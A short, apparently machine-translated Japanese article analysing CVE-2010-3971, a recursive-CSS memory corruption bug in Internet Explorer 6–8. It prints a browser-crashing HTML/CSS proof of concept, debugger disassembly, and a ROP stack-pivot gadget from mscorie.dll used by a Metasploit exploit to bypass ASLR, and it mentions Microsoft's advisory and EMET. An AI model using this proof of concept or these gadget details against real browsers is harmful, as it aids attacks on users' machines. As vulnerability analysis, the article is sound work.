IE 6/7/8のCSS再帰エラー(CVE-2010-3971)

それほど前ではなく、むしろ12月上旬に、IEのさまざまなバージョンのCSS再帰処理で見つかったエラーに関する情報が発見されました。 提示されたPoCはブラウザをドロップすることしかできませんでしたが、今週の初めまで、Metasploitでこの脆弱性を完全に悪用したエクスプロイトが出現するまで、ブラウザからより意味のある何かを生き残ることができませんでした。



最初、PoCは次のようになりました。

< code >

< div style ="position: absolute; top: -999px;left: -999px;" >

< link href ="css.css" rel ="stylesheet" type ="text/css" />

</ code >



< code of css . css >

*{

color:red;

}

@import url("css.css");

@import url("css.css");

@import url("css.css");

@import url("css.css");

</ code >








エラーは、HTMLページパーサー(mshtml.dll)のメモリ破損にあり、再帰的なCSSインクルージョンを含むページの処理中に、 CStyleSheet :: Notifyオブジェクトが削除され、後でこのメモリ領域を使用して制御を任意のコードに転送できます。



mshtml!CSharedStyleSheet::Notify:

3ced63a5 8bff mov edi,edi

3ced63a7 55 push ebp

3ced63a8 8bec mov ebp,esp

3ced63aa 51 push ecx

3ced63ab 56 push esi

3ced63ac 8bb1d0000000 mov esi,dword ptr [ecx+0D0h] ; esi = 0x14

3ced63b2 57 push edi

3ced63b3 8bb9d8000000 mov edi,dword ptr [ecx+0D8h] ; pointer to array of CStyleSheet objects

3ced63b9 33c0 xor eax,eax

3ced63bb c1ee02 shr esi,2 ; esi = 0x5








原則として、この脆弱性は特に興味深いものではありませんが、Metasploitからの波紋からの悪用の実装は本当に注目に値します。 興味深いことに、標準のヒープスプレーに加えて、.NETを介したROP(リターン指向プログラミング)技術が使用されましたが、これは一般的ではありません。 より正確には、.NET Framework 2.0からのmscorie.dllのダウンロード機能が使用されました。これはフラグなしでコンパイルされ、常に同じベースアドレス(0x63f00000)でロードされます。 開発者側のこの省略により、ROP手法を使用してシェルコードからシステム関数を呼び出すことができます。



ROPのスタックピボットガジェットの例:

mscorie!_chkstk+0x1b:

63f0575b 94 xchg eax,esp

63f0575c 8b00 mov eax,dword ptr [eax]

63f0575e 890424 mov dword ptr [esp],eax

63f05761 c3 ret







マイクロソフトは昨日、このトピックに関するセキュリティアドバイザリ2488013をリリースしました。この脆弱性は、次のアップデートパックで解決されるようです。 これまで、MS市民はEMET (Enhanced Mitigation Experience Toolkit)を使用して、上記のROPベクトルを介したASLRバイパスに対抗することを推奨してきました。



All Articles